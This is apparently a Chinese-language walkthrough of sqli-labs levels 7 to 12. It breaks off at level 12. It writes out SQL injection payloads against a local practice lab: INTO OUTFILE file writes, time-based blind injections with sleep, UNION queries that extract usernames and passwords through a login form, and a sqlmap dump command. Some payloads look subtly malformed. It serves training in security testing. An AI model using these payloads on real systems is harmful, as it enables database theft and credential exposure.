这里提示使用outfile,判断闭合方式为’))
select 1,2,database() into outfile “C:\Users\19871\Desktop\phpStudy_64\WWW\sqli-labs-master\Less-7\test.txt”–+
红色标记的地方为靶机该题的保存位置其他和联合注入语句没有区别
?id=1’)) union select 1,2,group_concat(username,password) from security.users into outfile “文件位置”–+
第八题
使用万用测试闭合方式发现闭合方式为’这里没有明显的回显排除union注入,也无报错注入,这里使用盲注,使用时间盲注测试
?id=1’ and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+
这里返回的时间趋近于5秒而注入语句如果databse()所查到的数据库名称第一个字符如果ascii大于0则执行sleep(5)所以这个返回延迟5秒说明存在时间注入
盲注的手动注入耗时极大,所以这里推荐使用sqlmap辅助注入
真是太太太太方便了,这里语句为
python sqlmap.py -u 127.0.0.1/sqli-labs-master/Less-8/?id=1’–+ -D security -T users --dump
第九题
和上一题同理只是改变了闭合方式这里就不再复述
?id=1’ and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+
第十题
这里和前面的盲注也是一样使用时间盲注,区别在于判断闭合方式
通过查看源码得到闭合方式为"
?id=1" and if(ascii(concat(database(),1,1))>0,sleep(5),sleep(10))–+
第十一题
这里是post注入,建议先分析源码
这里推荐在password注入,因为会判断密码和账户的正确性,正确才会回显,如果这里在username注入则会比较麻烦
经过测试这里
回显位为2位
-1’ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
得到数据库名称,和当前表名称
-1’ union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#
得到表列
-1’ union select database(),group_concat(username,password) from security.users#
得到数据
第十二题
这里也是直接看源码进行分析